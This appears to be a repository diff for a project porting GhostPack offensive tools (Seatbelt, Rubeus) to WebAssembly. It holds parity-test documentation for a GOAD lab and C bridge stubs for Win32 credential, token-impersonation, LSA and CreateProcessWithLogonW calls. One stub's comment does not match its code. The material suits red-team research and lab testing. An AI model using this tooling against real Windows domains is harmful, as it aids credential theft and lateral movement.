3. **Normalize** the captured stdout: strip timestamps, GUIDs, durations, PIDs (opt-in), the Seatbelt ASCII banner, and any remote-exec wrapper prefix. Also convert CRLF → LF.
4. **Diff** the cleaned output against the committed `.golden` file under `testdata/parity-baselines/<tool>/<command>.golden`.
5. **Report** byte-exact mismatches with both versions in the failure message.
Tests are tagged `//go:build parity` so they do not run in normal
`go test ./...` — they are slow (several minutes per tool sweep) and
require remote access to a Windows test target.
## Target configuration
The parity tests resolve the Windows target's domain identity from
environment variables. Defaults match the GOAD topology described above,
so on a stock Ludus + GOAD range no env vars need to be set; override
only when running against a range with different names.
| Env var | Default | Used as |
|---|---|---|
| `WASMFORGE_PARITY_DOMAIN` | `sevenkingdoms.local` | NT-style domain |
| `WASMFORGE_PARITY_DC` | `dc01.sevenkingdoms.local` | DC FQDN |
| `WASMFORGE_PARITY_DC_IP` | `10.3.10.10` | DC IP (Ludus range default) |
| `WASMFORGE_PARITY_CA` | `kingslanding.sevenkingdoms.local\SEVENKINGDOMS-CA` | CA in CONFIG format |
| `WASMFORGE_PARITY_USER` | `domainuser` | non-priv test user |
See the helper at `test/parity/internal/lab/lab.go` for the canonical
resolution logic. New parity cases should use `lab.Domain()`, `lab.DC()`,
etc. rather than hardcoding any target-specific values.
## What it doesn't do
- **No host-side mocking.** The harness depends on a live Windows test target. If the target is unreachable, tests SKIP (not FAIL).
- **No semantic comparison.** Output diffs are byte-exact after normalization. If a Win32 API legitimately changes its output format upstream, the baseline must be re-captured.
- **No coverage of dynamic data.** The Processes/Services baselines only assert the header lines because the non-Microsoft process list on a stock Windows box is sparse and depends on the box's runtime state.
## How to add a new tool
Five steps to onboard a new tool (e.g., `sharpdpapi`, `certify`):
1. **Build the .exe** via the existing Docker pipeline:
```bash
make docker-run DOCKER_SRC=/tmp/<tool>-fresh DOCKER_PROJECT=<tool>
```
Produces `out/<tool>.exe`.
2. **Pick the verbs/commands** the parity sweep should exercise. Reference each tool's known-working verb list as you go.
3. **Capture baselines** via the CLI:
```bash
cd test
GOWORK=off go run ./parity/cmd/capture-baseline \
-binary ../out/<tool>.exe \
-tool <tool> \
-commands <verb1>,<verb2>,... \
-output ../testdata/parity-baselines/<tool>/ \
-allow-errors
```
`-allow-errors` tolerates non-zero exits for verbs that are intentionally stubbed.
4. **Create the test file** at `test/parity/<tool>/<tool>_parity_test.go` using the seatbelt template. Replace the `commands` slice with your verb list. The rest is unchanged.
5. **Add a Makefile target** mirroring `test-parity-seatbelt`. Extend the `test-parity-all` dependency list to include it.
Commit the `.golden` files alongside the test file. Re-running `capture-baseline` against the same binary must produce byte-identical files (idempotency); verify with `git diff testdata/parity-baselines/<tool>/`.
## How to add a new command to an existing tool
1. Capture the new baseline:
```bash
cd test
GOWORK=off go run ./parity/cmd/capture-baseline \
-binary /tmp/wf-out/seatbelt.exe \
-tool seatbelt \
-commands NewCommand \
-output ../testdata/parity-baselines/seatbelt/ \
-allow-errors
```
2. Append `"NewCommand"` to the `commands` slice in `seatbelt_parity_test.go`.
3. Run `make test-parity-seatbelt` to confirm the sub-test passes.
4. Commit both the test change and the new `.golden` file together.
## How to update a baseline after an intentional behavior change
When a wasmforge code change is expected to alter a command's output:
1. Re-build the binary via `make docker-run`.
2. Run the parity test → confirm only the expected sub-tests fail.
3. Re-capture only the affected baselines:
```bash
cd test
GOWORK=off go run ./parity/cmd/capture-baseline \
-binary /tmp/wf-out/seatbelt.exe \
-tool seatbelt \
-commands AffectedCommand1,AffectedCommand2 \
-output ../testdata/parity-baselines/seatbelt/ \
-allow-errors
```
4. Diff the new baselines against the old: `git diff testdata/parity-baselines/seatbelt/` — review carefully, the change must match the expected behavior.
5. Re-run `make test-parity-seatbelt` → should be green again.
6. Commit the code change and the baseline update in the same commit so future bisects find them together.
## Limitations
- **Target dependency.** Tests SKIP when the Windows target is unreachable. CI cannot rely on parity tests as a gating signal until you have durable target uptime — historically this is the single biggest operational drag on the harness.
- **Stub baselines.** Some commands (e.g., `AntiVirus`, `WMIEventConsumer`) reflect the stubbed C# implementation, not real native output. If a future change adds WASM↔host callback support for WMI providers, those baselines must be regenerated and the stubs removed.
- **Environment-specific data.** Baselines capture SIDs, group memberships, and computer names from the environment they were recorded in. Re-running against a different domain requires regenerating the baselines.
- **No CI integration in this phase.** The harness is a manual local gate. Wiring it into a CI job requires durable target access, which is a separate workstream.
## Environment variables
- `WASMFORGE_TEST_BINARY` — override the path to the `.exe` under test. Defaults to `/tmp/wf-out/seatbelt.exe` for the Seatbelt sweep; the Makefile target defaults to `$(DOCKER_OUT_DIR)/seatbelt.exe` = `out/seatbelt.exe`.
- `WASMFORGE_PARITY_*` — Windows target identity (see [Target configuration](#target-configuration) above).
## Quick commands
```bash
# Run the full Seatbelt sweep
make test-parity-seatbelt
# Run the full Rubeus sweep
make test-parity-rubeus
# Or with an explicit binary
WASMFORGE_TEST_BINARY=/tmp/wf-out/seatbelt.exe make test-parity-seatbelt
WASMFORGE_TEST_BINARY=/tmp/wf-out/rubeus.exe make test-parity-rubeus
# Run all tool parity sweeps
make test-parity-all
# Run just one command (debugging)
cd test
GOWORK=off go test -tags parity ./parity/seatbelt/ -v -run TestSeatbeltParity/LocalGroups
# Re-capture all 16 Seatbelt baselines (intentional regen)
cd test
GOWORK=off go run ./parity/cmd/capture-baseline \
-binary /tmp/wf-out/seatbelt.exe -tool seatbelt \
-commands LocalGroups,LocalUsers,WindowsVault,RDPSessions,Processes,Services,NetworkShares,OSInfo,McAfeeSiteList,AMSIProviders,WindowsFirewall,WindowsAutoLogon,TokenGroups,TokenPrivileges,AntiVirus,WMIEventConsumer \
-output ../testdata/parity-baselines/seatbelt/ -allow-errors
```
## Honest-Stub Convention
When a command's underlying Win32 / WMI / LSA primitive can't yet be
bridged on NativeAOT-WASI, do **not** silently return empty output —
that pattern hides the gap behind a "passing" parity test (empty wf
output happens to match empty native output on test VMs with no AV / no
saved credentials / no WiFi adapter).
Instead, the Execute body MUST print an explicit banner identifying:
1. The specific command that's not implemented.
2. The Win32 API or bridge primitive that's missing.
3. A note that the empty output below is a stub, not a real query.
Example (Seatbelt AntiVirusCommand):
```
[!] WasmForge: AntiVirus enumeration is NOT IMPLEMENTED — root\SecurityCenter2 WMI provider requires bidirectional callback dispatch. Output below is a stub, not a real query.
```
The baseline locks the banner text; parity passes only when wf still
emits the banner. When someone implements the bridge, the parity test
FAILS until they refresh the baseline with the real output — which is
the desired behavior because it forces a deliberate check that the new
implementation is correct.
**Anti-pattern** (do not do this):
```csharp
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
{
yield break; // wf has no AV detection, but baselines pass on test VMs anyway
}
```
**Correct pattern**:
```csharp
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
{
WriteHost("[!] WasmForge: AntiVirus enumeration is NOT IMPLEMENTED — root\\SecurityCenter2 WMI provider requires bidirectional callback dispatch. Output below is a stub, not a real query.");
yield break;
}
```
Binary file not shown.

After

Width:  |  Height:  |  Size: 3.4 MiB

+235
View File
@@ -0,0 +1,235 @@
// pinvoke_advapi32_ext.c — advapi32.dll P/Invoke bridge stubs for NativeAOT-WASI.
//
// Auto-discovered as undefined symbols when building Seatbelt against WasmForge.
// These stubs forward to wf_call() which dispatches to the real Win32 API on the
// host at runtime. The unprefixed naming convention (e.g. "CredEnumerate" not
// "advapi32_CredEnumerate") is what NativeAOT-LLVM expects when the csproj has
// <DirectPInvoke Include="advapi32" />.
#include "wf_bridge.h"
uint32_t ConvertSecurityDescriptorToStringSecurityDescriptor(uint32_t SecurityDescriptor, uint32_t RequestedStringSDRevision, uint32_t SecurityInformation, uint32_t StringSecurityDescriptor, uint32_t StringSecurityDescriptorLen) {
return (uint32_t)wf_call(
"advapi32.dll",
"ConvertSecurityDescriptorToStringSecurityDescriptorW",
5,
(uint64_t)SecurityDescriptor,
(uint64_t)RequestedStringSDRevision,
(uint64_t)SecurityInformation,
(uint64_t)StringSecurityDescriptor,
(uint64_t)StringSecurityDescriptorLen);
}
uint32_t ConvertSidToStringSid(uint32_t Sid, uint32_t StringSid) {
return (uint32_t)wf_call("advapi32.dll", "ConvertSidToStringSidW", 2,
(uint64_t)Sid, (uint64_t)StringSid);
}
uint32_t CredEnumerate(uint32_t Filter, uint32_t Flags, uint32_t Count, uint32_t Credentials) {
return (uint32_t)wf_call("advapi32.dll", "CredEnumerateW", 4,
(uint64_t)Filter,
(uint64_t)Flags,
(uint64_t)Count,
(uint64_t)Credentials);
}
uint32_t CredFree(uint32_t Buffer) {
return (uint32_t)wf_call("advapi32.dll", "CredFree", 1,
(uint64_t)Buffer);
}
uint32_t CryptAcquireContext(uint32_t phProv, uint32_t szContainer, uint32_t szProvider, uint32_t dwProvType, uint32_t dwFlags) {
return (uint32_t)wf_call("advapi32.dll", "CryptAcquireContextW", 5,
(uint64_t)phProv,
(uint64_t)szContainer,
(uint64_t)szProvider,
(uint64_t)dwProvType,
(uint64_t)dwFlags);
}
uint32_t CryptCreateHash(uint32_t hProv, uint32_t Algid, uint32_t hKey, uint32_t dwFlags, uint32_t phHash) {
return (uint32_t)wf_call("advapi32.dll", "CryptCreateHash", 5,
(uint64_t)hProv,
(uint64_t)Algid,
(uint64_t)hKey,
(uint64_t)dwFlags,
(uint64_t)phHash);
}
uint32_t CryptDecrypt(uint32_t hKey, uint32_t hHash, uint32_t Final, uint32_t dwFlags, uint32_t pbData, uint32_t pdwDataLen) {
return (uint32_t)wf_call("advapi32.dll", "CryptDecrypt", 6,
(uint64_t)hKey,
(uint64_t)hHash,
(uint64_t)Final,
(uint64_t)dwFlags,
(uint64_t)pbData,
(uint64_t)pdwDataLen);
}
uint32_t CryptDeriveKey(uint32_t hProv, uint32_t Algid, uint32_t hBaseData, uint32_t dwFlags, uint32_t phKey) {
return (uint32_t)wf_call("advapi32.dll", "CryptDeriveKey", 5,
(uint64_t)hProv,
(uint64_t)Algid,
(uint64_t)hBaseData,
(uint64_t)dwFlags,
(uint64_t)phKey);
}
uint32_t CryptDestroyHash(uint32_t hHash) {
return (uint32_t)wf_call("advapi32.dll", "CryptDestroyHash", 1,
(uint64_t)hHash);
}
uint32_t CryptDestroyKey(uint32_t hKey) {
return (uint32_t)wf_call("advapi32.dll", "CryptDestroyKey", 1,
(uint64_t)hKey);
}
uint32_t CryptHashData(uint32_t hHash, uint32_t pbData, uint32_t dwDataLen, uint32_t dwFlags) {
return (uint32_t)wf_call("advapi32.dll", "CryptHashData", 4,
(uint64_t)hHash,
(uint64_t)pbData,
(uint64_t)dwDataLen,
(uint64_t)dwFlags);
}
uint32_t CryptReleaseContext(uint32_t hProv, uint32_t dwFlags) {
return (uint32_t)wf_call("advapi32.dll", "CryptReleaseContext", 2,
(uint64_t)hProv,
(uint64_t)dwFlags);
}
uint32_t DuplicateToken(uint32_t ExistingTokenHandle, uint32_t ImpersonationLevel, uint32_t DuplicateTokenHandle) {
return (uint32_t)wf_call("advapi32.dll", "DuplicateToken", 3,
(uint64_t)ExistingTokenHandle,
(uint64_t)ImpersonationLevel,
(uint64_t)DuplicateTokenHandle);
}
uint32_t GetNamedSecurityInfoW(uint32_t pObjectName, uint32_t ObjectType, uint32_t SecurityInfo, uint32_t ppsidOwner, uint32_t ppsidGroup, uint32_t ppDacl, uint32_t ppSacl, uint32_t ppSecurityDescriptor) {
return (uint32_t)wf_call("advapi32.dll", "GetNamedSecurityInfoW", 8,
(uint64_t)pObjectName,
(uint64_t)ObjectType,
(uint64_t)SecurityInfo,
(uint64_t)ppsidOwner,
(uint64_t)ppsidGroup,
(uint64_t)ppDacl,
(uint64_t)ppSacl,
(uint64_t)ppSecurityDescriptor);
}
uint32_t GetTokenInformation(uint32_t TokenHandle, uint32_t TokenInformationClass, uint32_t TokenInformation, uint32_t TokenInformationLength, uint32_t ReturnLength) {
return (uint32_t)wf_call("advapi32.dll", "GetTokenInformation", 5,
(uint64_t)TokenHandle,
(uint64_t)TokenInformationClass,
(uint64_t)TokenInformation,
(uint64_t)TokenInformationLength,
(uint64_t)ReturnLength);
}
uint32_t ImpersonateLoggedOnUser(uint32_t hToken) {
return (uint32_t)wf_call("advapi32.dll", "ImpersonateLoggedOnUser", 1,
(uint64_t)hToken);
}
uint32_t LookupAccountSid(uint32_t lpSystemName, uint32_t Sid, uint32_t Name, uint32_t cchName, uint32_t ReferencedDomainName, uint32_t cchReferencedDomainName, uint32_t peUse) {
return (uint32_t)wf_call("advapi32.dll", "LookupAccountSidW", 7,
(uint64_t)lpSystemName,
(uint64_t)Sid,
(uint64_t)Name,
(uint64_t)cchName,
(uint64_t)ReferencedDomainName,
(uint64_t)cchReferencedDomainName,
(uint64_t)peUse);
}
uint32_t LookupPrivilegeName(uint32_t lpSystemName, uint32_t lpLuid, uint32_t lpName, uint32_t cchName) {
return (uint32_t)wf_call("advapi32.dll", "LookupPrivilegeNameW", 4,
(uint64_t)lpSystemName,
(uint64_t)lpLuid,
(uint64_t)lpName,
(uint64_t)cchName);
}
// LsaEnumerateAccountsWithUserRight: arg 2 (EnumerationBuffer) is an 8-byte
// host pointer OUT slot. out8_mask=0x4 protects it from the default 4-byte
// overflow-restore that would zero bytes 4-7 of the host pointer written by
// the API.
//
// IMPORTANT: arg 0 (PolicyHandle) declared as uint32_t in this wrapper means
// the caller-passed LSA_HANDLE is truncated to 32 bits before we wrap it
// in uint64_t. On Win11 we observed handles like 0x07290000 (32-bit) so this
// works in practice, but if LSA hands back a high address the truncation
// would silently corrupt the handle. Use LsaEnumerateAccountsWithUserRight_v2
// (declared further down in this file) when callers have the full uint64_t
// handle.
uint32_t LsaEnumerateAccountsWithUserRight(uint32_t PolicyHandle, uint32_t UserRights, uint32_t EnumerationBuffer, uint32_t CountReturned) {
return (uint32_t)wf_call_v2("advapi32.dll", "LsaEnumerateAccountsWithUserRight", 4,
/*out8_mask=*/ 0x4,
(uint64_t)PolicyHandle,
(uint64_t)UserRights,
(uint64_t)EnumerationBuffer,
(uint64_t)CountReturned);
}
// ── uint64_t-safe LSA wrappers (WfLsa.cs uses ulong for all args) ──────────
//
// NativeAOT-WASI compiles to wasm32: all pointers are 4 bytes in the WASM
// linear memory. However WfLsa.cs declares these P/Invokes with `ulong`
// (8-byte) parameters so the ABI on the WASM→C boundary passes each arg as a
// 64-bit value. The _v2 variants accept uint64_t directly and forward to
// wf_call / wf_call_v2 without truncating through uint32_t.
// LsaOpenPolicy_v2 — uint64_t-safe variant matching WfLsa.cs (ulong, ulong, uint, ulong).
// SystemName, ObjectAttributes, PolicyHandle are host pointers (8 bytes via host memory).
// DesiredAccess is a 32-bit access mask (uint).
uint32_t LsaOpenPolicy_v2(uint64_t SystemName, uint64_t ObjectAttributes, uint32_t DesiredAccess, uint64_t PolicyHandle) {
return (uint32_t)wf_call_v2("advapi32.dll", "LsaOpenPolicy", 4, /*out8_mask=*/0x8,
SystemName, ObjectAttributes, (uint64_t)DesiredAccess, PolicyHandle);
}
// LsaEnumerateAccountsWithUserRight_v2 — uint64_t-safe variant.
// PolicyHandle is the 8-byte LSA handle returned from LsaOpenPolicy_v2.
// UserRights, Buffer, CountReturned are host addresses.
uint32_t LsaEnumerateAccountsWithUserRight_v2(uint64_t PolicyHandle, uint64_t UserRights, uint64_t Buffer, uint64_t CountReturned) {
return (uint32_t)wf_call_v2("advapi32.dll", "LsaEnumerateAccountsWithUserRight", 4, /*out8_mask=*/0xC,
PolicyHandle, UserRights, Buffer, CountReturned);
}
// LsaFreeMemory_v2 — uint64_t-safe variant.
uint32_t LsaFreeMemory_v2(uint64_t Buffer) {
return (uint32_t)wf_call("advapi32.dll", "LsaFreeMemory", 1, Buffer);
}
// LsaClose_v2 — uint64_t-safe variant.
uint32_t LsaClose_v2(uint64_t ObjectHandle) {
return (uint32_t)wf_call("advapi32.dll", "LsaClose", 1, ObjectHandle);
}
// ConvertSidToStringSidW_v2 — uint64_t-safe variant. Sid is a host SID pointer
// (from the LSA enumeration buffer); StringSid is a host address of LPWSTR* output.
uint32_t ConvertSidToStringSidW_v2(uint64_t Sid, uint64_t StringSid) {
return (uint32_t)wf_call_v2("advapi32.dll", "ConvertSidToStringSidW", 2, /*out8_mask=*/0x2,
Sid, StringSid);
}
// kernel32_LocalFree_v2 — uint64_t-safe variant.
uint64_t kernel32_LocalFree_v2(uint64_t hMem) {
return wf_call("kernel32.dll", "LocalFree", 1, hMem);
}
uint32_t I_QueryTagInformation(uint32_t MachineName, uint32_t InfoLevel, uint32_t Data) {
return (uint32_t)wf_call("advapi32.dll", "I_QueryTagInformation", 3,
(uint64_t)MachineName,
(uint64_t)InfoLevel,
(uint64_t)Data);
}
// SID-resolution bridge functions previously lived here but were unreachable —
// the C# DllImports in WfSec.cs target unprefixed entry names that NativeAOT's
// link-time resolution didn't pick up (the +49 DirectPInvoke entries are
// per-DLL not per-function). The proper place for these wrappers is
// pinvoke_nativeaot.c where the existing LookupAccountSidW lives and where
// the csproj template's NativeLibrary reference reliably picks them up. The
// previous experiment is documented in commit 06c7608; revert it here per
// "minimize host-side surface" guidance.
File diff suppressed because it is too large Load Diff
+70
View File
@@ -0,0 +1,70 @@
// pinvoke_extras.c — second-pass stubs caught after case-normalization
// expanded the DirectPInvoke set.
//
// The first sweep (pinvoke_{secur32,kernel32,advapi32,net}_ext.c) closed
// out the originally-undefined symbol list. When the scanner started
// emitting original-case DLL spellings (User32.dll, Wlanapi.dll, …) the
// linker matched additional [DllImport] declarations that had previously
// fallen through to Lazy PInvoke. Those declarations don't change the
// overall ghostpack support story — they're the same kind of plain
// Win32 P/Invokes — they just weren't visible in the first pass.
#include "wf_bridge.h"
// ── user32.dll ─────────────────────────────────────────────────────
uint32_t GetLastInputInfo(uint32_t plii) {
return (uint32_t)wf_call("user32.dll", "GetLastInputInfo", 1, (uint64_t)plii);
}
// ── iphlpapi.dll ───────────────────────────────────────────────────
uint32_t FreeMibTable(uint32_t Memory) {
return (uint32_t)wf_call("iphlpapi.dll", "FreeMibTable", 1, (uint64_t)Memory);
}
uint32_t GetIpNetTable(uint32_t IpNetTable, uint32_t SizePointer, uint32_t Order) {
return (uint32_t)wf_call("iphlpapi.dll", "GetIpNetTable", 3,
(uint64_t)IpNetTable, (uint64_t)SizePointer, (uint64_t)Order);
}
// ── wlanapi.dll ────────────────────────────────────────────────────
uint32_t WlanOpenHandle(uint32_t dwClientVersion, uint32_t pReserved, uint32_t pdwNegotiatedVersion, uint32_t phClientHandle) {
return (uint32_t)wf_call("wlanapi.dll", "WlanOpenHandle", 4,
(uint64_t)dwClientVersion, (uint64_t)pReserved,
(uint64_t)pdwNegotiatedVersion, (uint64_t)phClientHandle);
}
uint32_t WlanCloseHandle(uint32_t hClientHandle, uint32_t pReserved) {
return (uint32_t)wf_call("wlanapi.dll", "WlanCloseHandle", 2,
(uint64_t)hClientHandle, (uint64_t)pReserved);
}
uint32_t WlanEnumInterfaces(uint32_t hClientHandle, uint32_t pReserved, uint32_t ppInterfaceList) {
return (uint32_t)wf_call("wlanapi.dll", "WlanEnumInterfaces", 3,
(uint64_t)hClientHandle, (uint64_t)pReserved, (uint64_t)ppInterfaceList);
}
uint32_t WlanFreeMemory(uint32_t pMemory) {
return (uint32_t)wf_call("wlanapi.dll", "WlanFreeMemory", 1, (uint64_t)pMemory);
}
uint32_t WlanGetProfileList(uint32_t hClientHandle, uint32_t pInterfaceGuid, uint32_t pReserved, uint32_t ppProfileList) {
return (uint32_t)wf_call("wlanapi.dll", "WlanGetProfileList", 4,
(uint64_t)hClientHandle, (uint64_t)pInterfaceGuid, (uint64_t)pReserved, (uint64_t)ppProfileList);
}
uint32_t WlanGetProfile(uint32_t hClientHandle, uint32_t pInterfaceGuid, uint32_t strProfileName, uint32_t pReserved, uint32_t pstrProfileXml, uint32_t pdwFlags, uint32_t pdwGrantedAccess) {
return (uint32_t)wf_call("wlanapi.dll", "WlanGetProfile", 7,
(uint64_t)hClientHandle, (uint64_t)pInterfaceGuid, (uint64_t)strProfileName, (uint64_t)pReserved,
(uint64_t)pstrProfileXml, (uint64_t)pdwFlags, (uint64_t)pdwGrantedAccess);
}
// ── wtsapi32.dll ───────────────────────────────────────────────────
uint32_t WTSQuerySessionInformation(uint32_t hServer, uint32_t SessionId, uint32_t WTSInfoClass, uint32_t ppBuffer, uint32_t pBytesReturned) {
return (uint32_t)wf_call("wtsapi32.dll", "WTSQuerySessionInformationW", 5,
(uint64_t)hServer, (uint64_t)SessionId, (uint64_t)WTSInfoClass,
(uint64_t)ppBuffer, (uint64_t)pBytesReturned);
}
+221
View File
@@ -0,0 +1,221 @@
// pinvoke_kernel32_ext.c — Additional unprefixed P/Invoke stubs for NativeAOT-LLVM.
//
// These functions were discovered as undefined symbols when building Seatbelt
// against the WasmForge NativeAOT-WASI pipeline. Each stub forwards to
// wf_call() which dispatches to the real Win32 API on the host at runtime.
//
// Naming convention: function names are UNPREFIXED (e.g. "CloseHandle", not
// "kernel32_CloseHandle"). NativeAOT-LLVM resolves DllImport symbols by the
// bare function name when the csproj contains:
// <DirectPInvoke Include="kernel32" />
// <DirectPInvoke Include="ntdll" />
// <DirectPInvoke Include="user32" />
// <DirectPInvoke Include="advapi32" />
// The prefixed variants in pinvoke_nativeaot.c serve a different code path
// (WfHostBridge.cs explicit EntryPoint= declarations) and must not be removed.
//
// All pointer arguments are uint64_t (WASM linear-memory offsets; the host
// bridge translates them to host pointers before the Win32 call).
// Small scalar arguments (DWORD, BOOL) use uint32_t in the parameter list but
// are widened to uint64_t at the wf_call() call site.
// HANDLE return values use uint64_t; DWORD/BOOL return values use uint32_t.
#include "wf_bridge.h"
// ---------------------------------------------------------------------------
// kernel32.dll
// ---------------------------------------------------------------------------
// CloseHandle(HANDLE hObject) -> BOOL
uint32_t CloseHandle(uint32_t hObject) {
return (uint32_t)wf_call("kernel32.dll", "CloseHandle", 1,
(uint64_t)hObject);
}
// CopyMemory is a macro for RtlCopyMemory which lives in ntdll.dll.
// Void return — caller ignores the value; we return 0 as a harmless sentinel.
uint32_t CopyMemory(uint32_t Destination, uint32_t Source, uint32_t Length) {
return (uint32_t)wf_call("ntdll.dll", "RtlCopyMemory", 3,
(uint64_t)Destination, (uint64_t)Source, (uint64_t)Length);
}
// CreateFile(LPCWSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE)
// -> HANDLE
// Seatbelt uses Unicode strings throughout; the W variant is correct.
uint32_t CreateFile(uint32_t lpFileName, uint32_t dwDesiredAccess, uint32_t dwShareMode, uint32_t lpSecurityAttributes, uint32_t dwCreationDisposition, uint32_t dwFlagsAndAttributes, uint32_t hTemplateFile) {
return (uint32_t)wf_call("kernel32.dll", "CreateFileW", 7,
(uint64_t)lpFileName,
(uint64_t)dwDesiredAccess,
(uint64_t)dwShareMode,
(uint64_t)lpSecurityAttributes,
(uint64_t)dwCreationDisposition,
(uint64_t)dwFlagsAndAttributes,
(uint64_t)hTemplateFile);
}
// FindClose(HANDLE hFindFile) -> BOOL
uint32_t FindClose(uint32_t hFindFile) {
return (uint32_t)wf_call("kernel32.dll", "FindClose", 1,
(uint64_t)hFindFile);
}
// FindFirstFile(LPCWSTR lpFileName, LPWIN32_FIND_DATAW lpFindFileData) -> HANDLE
uint32_t FindFirstFile(uint32_t lpFileName, uint32_t lpFindFileData) {
return (uint32_t)wf_call("kernel32.dll", "FindFirstFileW", 2,
(uint64_t)lpFileName, (uint64_t)lpFindFileData);
}
// FindNextFile(HANDLE hFindFile, LPWIN32_FIND_DATAW lpFindFileData) -> BOOL
uint32_t FindNextFile(uint32_t hFindFile, uint32_t lpFindFileData) {
return (uint32_t)wf_call("kernel32.dll", "FindNextFileW", 2,
(uint64_t)hFindFile, (uint64_t)lpFindFileData);
}
// GetConsoleWindow(void) -> HWND
// Seatbelt's DllImport declaration requires a resolvable symbol even though
// the C# source patches this call out at a higher level.
uint32_t GetConsoleWindow(void) {
return (uint32_t)wf_call("kernel32.dll", "GetConsoleWindow", 0);
}
// GetLastError(void) -> DWORD
// Use the wf_get_last_error() helper directly — it reads the per-call cached
// error code maintained by the bridge, which is more efficient than a full
// wf_call() round-trip through the host.
uint32_t GetLastError(void) {
return wf_get_last_error();
}
// GetNamedPipeServerProcessId(HANDLE Pipe, PULONG ServerProcessId) -> BOOL
uint32_t GetNamedPipeServerProcessId(uint32_t Pipe, uint32_t ServerProcessId) {
return (uint32_t)wf_call("kernel32.dll", "GetNamedPipeServerProcessId", 2,
(uint64_t)Pipe, (uint64_t)ServerProcessId);
}
// GetNamedPipeServerSessionId(HANDLE Pipe, PULONG ServerSessionId) -> BOOL
uint32_t GetNamedPipeServerSessionId(uint32_t Pipe, uint32_t ServerSessionId) {
return (uint32_t)wf_call("kernel32.dll", "GetNamedPipeServerSessionId", 2,
(uint64_t)Pipe, (uint64_t)ServerSessionId);
}
// GetPrivateProfileSection(LPCWSTR lpAppName, LPWSTR lpReturnedString,
// DWORD nSize, LPCWSTR lpFileName) -> DWORD
uint32_t GetPrivateProfileSection(uint32_t lpAppName, uint32_t lpReturnedString, uint32_t nSize, uint32_t lpFileName) {
return (uint32_t)wf_call("kernel32.dll", "GetPrivateProfileSectionW", 4,
(uint64_t)lpAppName,
(uint64_t)lpReturnedString,
(uint64_t)nSize,
(uint64_t)lpFileName);
}
// GetPrivateProfileString(LPCWSTR lpAppName, LPCWSTR lpKeyName,
// LPCWSTR lpDefault, LPWSTR lpReturnedString,
// DWORD nSize, LPCWSTR lpFileName) -> DWORD
uint32_t GetPrivateProfileString(uint32_t lpAppName, uint32_t lpKeyName, uint32_t lpDefault, uint32_t lpReturnedString, uint32_t nSize, uint32_t lpFileName) {
return (uint32_t)wf_call("kernel32.dll", "GetPrivateProfileStringW", 6,
(uint64_t)lpAppName,
(uint64_t)lpKeyName,
(uint64_t)lpDefault,
(uint64_t)lpReturnedString,
(uint64_t)nSize,
(uint64_t)lpFileName);
}
// IsWow64Process(HANDLE hProcess, PBOOL Wow64Process) -> BOOL
uint32_t IsWow64Process(uint32_t hProcess, uint32_t Wow64Process) {
return (uint32_t)wf_call("kernel32.dll", "IsWow64Process", 2,
(uint64_t)hProcess, (uint64_t)Wow64Process);
}
// OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId)
// -> HANDLE
uint32_t OpenProcess(uint32_t dwDesiredAccess, uint32_t bInheritHandle, uint32_t dwProcessId) {
return (uint32_t)wf_call("kernel32.dll", "OpenProcess", 3,
(uint64_t)dwDesiredAccess,
(uint64_t)bInheritHandle,
(uint64_t)dwProcessId);
}
// ---------------------------------------------------------------------------
// ntdll.dll
// ---------------------------------------------------------------------------
// NtQueryInformationProcess(HANDLE ProcessHandle,
// PROCESSINFOCLASS ProcessInformationClass,
// PVOID ProcessInformation,
// ULONG ProcessInformationLength,
// PULONG ReturnLength) -> NTSTATUS (uint32_t)
uint32_t NtQueryInformationProcess(uint32_t ProcessHandle, uint32_t ProcessInformationClass, uint32_t ProcessInformation, uint32_t ProcessInformationLength, uint32_t ReturnLength) {
return (uint32_t)wf_call("ntdll.dll", "NtQueryInformationProcess", 5,
(uint64_t)ProcessHandle,
(uint64_t)ProcessInformationClass,
(uint64_t)ProcessInformation,
(uint64_t)ProcessInformationLength,
(uint64_t)ReturnLength);
}
// ---------------------------------------------------------------------------
// advapi32.dll
// ---------------------------------------------------------------------------
// OpenProcessToken(HANDLE ProcessHandle, DWORD DesiredAccess,
// PHANDLE TokenHandle) -> BOOL
// Note: technically advapi32.dll, included here for linker convenience.
// Deduplication against any existing csproj DirectPInvoke entries is handled
// at the project level.
uint32_t OpenProcessToken(uint32_t ProcessHandle, uint32_t DesiredAccess, uint32_t TokenHandle) {
return (uint32_t)wf_call("advapi32.dll", "OpenProcessToken", 3,
(uint64_t)ProcessHandle,
(uint64_t)DesiredAccess,
(uint64_t)TokenHandle);
}
// ResumeThread(HANDLE hThread) -> DWORD (previous suspend count, or -1 on err).
// Required by Rubeus createnetonly which calls CreateProcessWithLogonW with
// CREATE_SUSPENDED then resumes the created process's primary thread.
uint32_t ResumeThread(uint32_t hThread) {
return (uint32_t)wf_call("kernel32.dll", "ResumeThread", 1,
(uint64_t)hThread);
}
// CreateProcessWithLogonW: 11-arg advapi32 call used by Rubeus createnetonly
// to spawn cmd.exe in a netonly logon (LOGON_NETCREDENTIALS_ONLY=0x2) so
// network requests go out with the supplied credentials. Most args are WCHAR*
// pointers in wasm32 memory; ptr_mask 0x7b7 covers them, and out8_mask 0x400
// marks lpProcessInformation as a host-pointer slot the API writes back into.
uint32_t CreateProcessWithLogonW(
uint32_t lpUsername,
uint32_t lpDomain,
uint32_t lpPassword,
uint32_t dwLogonFlags,
uint32_t lpApplicationName,
uint32_t lpCommandLine,
uint32_t dwCreationFlags,
uint32_t lpEnvironment,
uint32_t lpCurrentDirectory,
uint32_t lpStartupInfo,
uint32_t lpProcessInformation
) {
return (uint32_t)wf_call_v2("advapi32.dll", "CreateProcessWithLogonW", 11,
/*out8_mask=*/0,
(uint64_t)lpUsername,
(uint64_t)lpDomain,
(uint64_t)lpPassword,
(uint64_t)dwLogonFlags,
(uint64_t)lpApplicationName,
(uint64_t)lpCommandLine,
(uint64_t)dwCreationFlags,
(uint64_t)lpEnvironment,
(uint64_t)lpCurrentDirectory,
(uint64_t)lpStartupInfo,
(uint64_t)lpProcessInformation);
}
// ---------------------------------------------------------------------------
// user32.dll
// ---------------------------------------------------------------------------
// SetProcessDPIAware(void) -> BOOL
uint32_t SetProcessDPIAware(void) {
return (uint32_t)wf_call("user32.dll", "SetProcessDPIAware", 0);
}
File diff suppressed because it is too large Load Diff
+290
View File
@@ -0,0 +1,290 @@
/*
